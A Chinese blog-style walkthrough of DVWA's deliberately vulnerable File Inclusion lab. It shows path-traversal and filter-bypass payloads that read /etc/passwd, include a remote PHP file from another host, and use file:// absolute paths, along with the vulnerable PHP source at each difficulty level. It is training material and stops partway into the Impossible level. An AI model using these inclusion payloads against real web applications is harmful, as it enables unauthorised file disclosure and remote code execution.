DVWA 文件包含及上传漏洞

本文详细解读了DVWA中FileInclusion和Fileupload漏洞的低、中、高及不可能级挑战,涉及路径遍历、文件类型检查、白名单限制等高级防护手段的突破技巧。

1. DVWA File Inclusion

Low level

url路径:

/dvwa/vulnerabilities/fi/index.php?page=include.php

可以看出page参数对应的php会被包含,尝试包含passwd:

/dvwa/vulnerabilities/fi/index.php?page=../../../../../etc/passwd

页面回显:

root:x:0:0:root:/root:/bin/bash 
...
telnetd:x:112:120::/nonexistent:/bin/false proftpd:x:113:65534::/var/run/proftpd:/bin/false statd:x:114:65534::/var/lib/nfs:/bin/false

并且在一开始访问page=../../../etc/passwd错误路径时,页面暴露了www的绝对路径:

Warning: include(../etc/passwd) [function.include]: failed to open stream: No such file or directory in /var/www/dvwa/vulnerabilities/fi/index.php on line 35

看下源码,没有对page参数做任何检查:

<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>

Medium level

用…/无法访问上级目录了。

源码:

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\\" ), "", $file );

?>

过滤了http://和https://,试图禁止包含远程文件;过滤…/,试图禁止包含本地文件。

很好绕过:

page=httphttp://://10.10.10.156/dvwa/vulnerabilities/fi/file1.php
Fatal error: Call to undefined function dvwaCurrentUser() in C:\phpstudy_pro\WWW\DVWA\vulnerabilities\fi\file1.php on line 9

虽然报错,但文件确实包含了。在服务端放个phpinfo.php:

page=htthttp://p://10.10.10.156/phpinfo.php

成功执行phpinfo()。

本地文件包含过滤也是可以绕过:

page=..././..././..././..././..././etc/passwd

High level

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
   
   
	// This isn't the page we want!
	echo "ERROR: File not found!";
	exit;
}
?>

high难度要求必须以file协议指定page。

windows版绕过(绝对路径已通过报错信息获得):

page=file://C:\\phpstudy_pro\\WWW\\phpinfo.php

Impossible level

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php"<
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值